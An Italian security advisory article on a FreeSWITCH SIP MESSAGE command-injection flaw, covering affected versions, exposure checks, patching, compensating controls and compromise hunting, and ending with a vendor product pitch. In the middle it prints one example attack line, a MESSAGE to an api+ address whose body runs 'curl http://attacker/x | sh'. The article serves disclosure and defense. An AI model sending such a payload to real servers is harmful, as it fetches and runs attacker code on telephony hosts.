FreeSWITCH CVE-2026-116779: un SIP message che esegue comandi

Un singolo SIP MESSAGE in ingresso — il pacchetto di messaggistica istantanea che viaggia sullo stesso canale di segnalazione delle chiamate — può far eseguire a un FreeSWITCH non aggiornato comandi di sistema con i privilegi del demone. CVE-2026-116779 è una vulnerabilità di command injection nel gestore dei SIP MESSAGE, valutata CVSS 9.8, e il 9 novembre 2026 la CISA l'ha aggiunta al catalogo Known Exploited Vulnerabilities con una scadenza federale di tre giorni. FreeSWITCH è il softswitch open source sotto una fetta enorme del VoIP mondiale: piattaforme carrier, contact center, centralini in appliance e lo strato di telefonia di innumerevoli prodotti SaaS. Se uno dei vostri accetta SIP MESSAGE su un'interfaccia pubblica — e la configurazione di serie lo fa — questo è un problema da sistemare oggi.

Notizia in evoluzione — pubblicata alle 17:45 (16:45 UTC) del 9 novembre 2026. Aggiornata man mano che vendor e CISA pubblicano.

Aggiornamento — 2026-11-09 23:52 CET

Dopo la pubblicazione di questo articolo NVD ha completato l'analisi: il record è passato da "Undergoing Analysis" ad Analyzed (modificato alle 20:48 CET). NVD ha adottato il CVSS 9.8 della CNA GitHub senza aggiungere un punteggio proprio, quindi il valore resta. Il record ora riporta anche la decisione SSVC della CISA — exploitation: active, automatable: yes, technical impact: total — una conferma da fonte primaria dello sfruttamento in corso e una nota formale che l'attacco può essere automatizzato su larga scala. La versione corretta (1.11.3), la scadenza KEV (2026-11-12) e il requisito di triage forense restano invariati. Nessun proof-of-concept pubblico è confermato da una fonte primaria; gli aggregatori ancora non concordano, quindi continuate a trattare la tecnica come ricostruibile.

In breve

CVE	CVE-2026-116779
Prodotto / versioni colpite	FreeSWITCH (SignalWire) · 1.11.2 e precedenti
Corretta in	1.11.3
CVSS	9.8 critica · CVSS 3.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H · assegnato da GitHub (CNA); stato NVD "Analyzed" · NVD ha adottato il punteggio della CNA
Sfruttata attivamente	Sì · advisory del vendor e NVD lo confermano; la SSVC della CISA su NVD segna exploitation "active" e automatable "yes"
CISA KEV	Aggiunta il 2026-11-09; scadenza federale 2026-11-12 (BOD 26-04, triage forense richiesto)
PoC pubblico	Non pubblicato da vendor o ricercatore noto al 2026-11-09; l'advisory documenta il meccanismo
Advisory ufficiale	GHSA-mg63-h38w-8p9p

Cosa fa davvero la falla SIP MESSAGE di FreeSWITCH

Il baco vive in sofia_presence_handle_sip_i_message(), la funzione che elabora un SIP MESSAGE in ingresso. FreeSWITCH supporta la chat su SIP e decide quale backend di chat gestisce un messaggio guardando il destinatario. Il gestore divide lo user del campo To sul segno più e tratta la metà di sinistra come il nome di un protocollo di chat. Recapitate un MESSAGE indirizzato a qualcosa come api+qualcosa@vostro-switch e la metà api seleziona un'interfaccia di chat registrata da mod_dptools: una che passa il suo contenuto direttamente a switch_api_execute().

Quella funzione è il dispatcher dei comandi di FreeSWITCH. È il modo in cui gli operatori lanciano status, reloadxml, sofia profile, originate — e system, che apre una shell sull'host. Così un peer che riesce a far accettare un solo MESSAGE sceglie quale comando API FreeSWITCH esegue, compresi quelli che eseguono comandi di sistema, caricano moduli o piazzano chiamate. Dove è caricato mod_lua — e lo è nella build di serie — del Lua inline con l'intera libreria standard è una seconda strada per arrivare allo stesso punto. Advisory e NVD lo classificano come CWE-77, CWE-78 e CWE-749: command injection, OS command injection e metodo pericoloso esposto, in un unico percorso.

To: [email protected] Corpo: system id; curl http://attacker/x | sh

Lo switch legge api come protocollo, passa il resto a switch_api_execute() e lo esegue come utente FreeSWITCH.

L'impatto che l'advisory indica è l'insieme completo: divulgazione di configurazione e credenziali (i segreti del vostro registrar SIP, le password dei trunk), controllo arbitrario delle chiamate ed esecuzione di comandi con i privilegi del demone. Su una macchina di telefonia il "controllo delle chiamate" non è una nota a piè di pagina: è frode da traffico, intercettazione delle chiamate e abuso del caller-ID su richiesta.

Chi è esposto a CVE-2026-116779

La parte scomoda è che le impostazioni pericolose sono quelle predefinite. La chat in ingresso è abilitata sui profili SIP internal ed external di serie — enable-chat è attivo finché non lo disattivate. La barriera per raggiungere il gestore è un solo MESSAGE accettato, e vale meno di quanto sembri:

• L'autenticazione dei MESSAGE (auth-messages) è attiva di default dalla 1.10.7, quindi di norma basta un account registrato — qualsiasi utente del profilo, senza alcun permesso oltre al poter registrarsi.
• Ma la directory conf/vanilla di serie include utenti senza password e senza a1-hash (l'utente default e un esempio Skinny). Quelli si autenticano a meno che non abbiate impostato esplicitamente allow-empty-password a false. Su un'installazione che porta ancora la directory vanilla, la barriera può non esistere affatto.
• La ACL in ingresso non copre il SIP MESSAGE, quindi stringere apply-inbound-acl non toglie un profilo dal perimetro.

Verificate se state eseguendo una build colpita e se il percorso della chat è aperto:

# Versione — tutto fino alla 1.11.2 inclusa è colpito
fs_cli -x "version"

# La chat in ingresso è abilitata sui profili? (cercate enable-chat)
fs_cli -x "sofia status profile internal" | grep -i chat
grep -R "enable-chat" /usr/local/freeswitch/conf/sip_profiles/

# Avete ancora utenti di directory senza password?
grep -RL "password\|a1-hash" /usr/local/freeswitch/conf/directory/

Se internal o external è raggiungibile da una rete non fidata e la chat è attiva, trattate l'host come esposto.

Remediation

1. Sono colpito?

Qualsiasi FreeSWITCH fino alla 1.11.2 inclusa è colpito. Confermate la build in esecuzione con fs_cli -x "version" (la versione del pacchetto può essere più vecchia del binario). Poi stabilite l'esposizione: un profilo SIP che accetta MESSAGE è raggiungibile da fuori il vostro confine di fiducia, e enable-chat è attivo? Se entrambe sono vere, siete nel perimetro a prescindere dalla vostra postura di autenticazione, per via del caso degli utenti di directory senza password visto sopra.

2. Patch — la versione corretta esatta

Aggiornate a FreeSWITCH 1.11.3 (note di rilascio). La correzione aggiunge un parametro per profilo enable-chat-api-proto che decide se un MESSAGE in ingresso può selezionare il proto di chat api; è disattivo se non lo impostate, un selettore non ammesso ora restituisce un 403 e viene loggato con la sorgente e il comando richiesto, e il parametro arriva commentato nei profili vanilla e nei config di esempio di mod_sofia/mod_verto. La patch da sola chiude il percorso senza alcuna modifica di configurazione.

3. Non potete applicare la patch subito? — controlli compensativi

L'advisory è esplicito nel dire che un solo workaround chiude davvero la strada:

• enable-chat=false su ogni profilo che non ha bisogno della chat SIP in ingresso. Ferma il messaggio prima che il selettore di protocollo venga analizzato. È l'unica mitigazione che chiude completamente il percorso.
• Parziale, da sola non basta: tenere auth-messages attivo e rimuovere ogni utente di directory senza password o a1-hash riduce il baco a esecuzione di comandi autenticata — meglio, ma resta RCE per qualsiasi account del profilo. disable_system_api_commands=true rimuove solo l'API system; il percorso raggiunge ancora il caricamento dei moduli, originate e ogni altro comando registrato. Fateli come difesa in profondità, non come sostituto della patch o di enable-chat=false.
• Al bordo della rete, limitate chi può inviare SIP a internal/external a trunk e registrar noti. Utile, ma ricordate che la ACL in ingresso non filtra i MESSAGE: è lavoro su firewall/SBC, non un'impostazione di FreeSWITCH.

4. Cacciate la compromissione

Questa è una voce KEV con triage forense richiesto, quindi date per scontato di dover dimostrare che la macchina è pulita, non solo applicare la patch. Cercate lo schema del selettore e ciò che l'esecuzione di comandi lascia dietro di sé:

• Nei log di FreeSWITCH, eventi MESSAGE in ingresso il cui user del campo To contiene un + con api a sinistra (api+...). Dopo l'aggiornamento, la nuova riga di log 403-con-comando-richiesto è essa stessa un allarme per i tentativi.
• Processi figli generati dal demone FreeSWITCH che non fanno parte del funzionamento normale — shell, curl/wget, interpreti, connessioni in uscita dalla macchina di telefonia. Mappate su MITRE ATT&CK T1190 (Exploit Public-Facing Application), T1059 (Command and Scripting Interpreter) e T1572 / T1071 per qualsiasi beacon aperto dall'impianto.
• Attività originate inattesa, nuovi gateway o modifiche alla configurazione dei trunk — l'impatto sul controllo chiamate — e qualsiasi lettura dei segreti in conf/ seguita da traffico in uscita (T1552, credenziali nei file).

5. Bonificate e verificate

Prima la patch, poi la pulizia: rimuovete eventuali impianti rilasciati, terminate i processi figli sconosciuti e ruotate ogni segreto che il demone poteva leggere — credenziali di registrar e trunk SIP, password API/ESL e qualunque altra cosa in conf/. Ruotare prima di chiudere il percorso significa solo far trapelare il nuovo segreto. Infine, dimostrate la correzione: da un punto non fidato, provate a inviare un MESSAGE a api+... e confermate che venga rifiutato (un 403 nei log su una 1.11.3 aggiornata, o nessun recapito di chat con enable-chat=false). Una stringa di versione nell'inventario non è una verifica; un tentativo bloccato sì.

Cosa non si sa ancora

• Portata e attribuzione. Vendor e NVD confermano che lo sfruttamento è stato osservato in the wild, ma nessun attore, campagna o conteggio di vittime è pubblico, e non risulta uso ransomware (la CISA segna "Unknown").
• Stato del PoC. Nessun proof-of-concept del vendor o di un ricercatore noto è pubblicato al momento, anche se l'advisory descrive il meccanismo in dettaglio sufficiente a ricostruirlo. Gli aggregatori non concordano sul fatto che del codice stia già circolando; comportatevi come se lo fosse.
• Punteggio NVD (risolto). Il 9 novembre NVD ha completato l'analisi e ha adottato il 9.8 della CNA GitHub senza aggiungere un punteggio base proprio — vedi l'Aggiornamento sopra. La domanda aperta ora è la portata, non la gravità.
• Il reporter accreditato è Örn Arnarson, con Gunnlaugur come analista, secondo l'advisory del vendor. Le prime segnalazioni di sfruttamento sono riassunte da securityonline.info.

La scadenza è tre giorni; la correzione dipende dalla vostra config

La CISA ha dato alle agenzie federali tempo fino al 12 novembre — l'estremo breve dei livelli risk-based della BOD 26-04 — e ha segnalato il triage forense. Quella compressione esiste perché lo sfruttamento è reale e i prerequisiti sono i default. Ma notate cosa richiedeva davvero la domanda "sono colpito" qui sopra: non un numero di versione, ma se un peer non fidato può far accettare un solo MESSAGE su un profilo con la chat attiva — il che dipende dalla modalità di autenticazione, dal fatto che portiate ancora utenti di directory senza password e da cosa lascia passare il vostro bordo. Uno scanner di versioni non risponde a nulla di tutto ciò e dirà a una macchina raggiungibile che sta bene.

L'AI Remediation Advisor di Zero Hunt è costruito proprio per questo momento: ordina le vulnerabilità per sfruttabilità reale — prima la CISA KEV, poi ciò che la campagna ha davvero dimostrato raggiungibile, poi CVSS ed EPSS — e dà la correzione esatta (aggiornare a 1.11.3) con note di rollout e rollback più il controllo compensativo (enable-chat=false) per gli host che non potete aggiornare entro tre giorni. L'ordinamento conta quando ogni voce KEV grida "critica" e dovete scegliere cosa toccare per primo.

E poiché qui l'esposizione è la configurazione, non una stringa di versione, l'advisor agisce su ciò che il red team autonomo ha dimostrato, non su ciò che ha ipotizzato. Il motore esegue il penetration test automatizzato come uno sciame coordinato di 10 agenti — un'appliance on-premise che gira sui modelli privati di Zero Hunt, con un umano che approva qualsiasi azione che tocchi la produzione — e in un passaggio gray-box contro un profilo autenticato tenta esso stesso il percorso MESSAGE-verso-api, lo stesso modo in cui abbiamo trattato il caso "basta un singolo account" nel bypass OpenSSH su musl. Poi riverifica la correzione con la stessa prova che ha dimostrato il problema. Se usate FreeSWITCH ovunque un peer non fidato possa raggiungerlo, parlatene con noi — e in ogni caso, aggiornate a 1.11.3 prima di giovedì.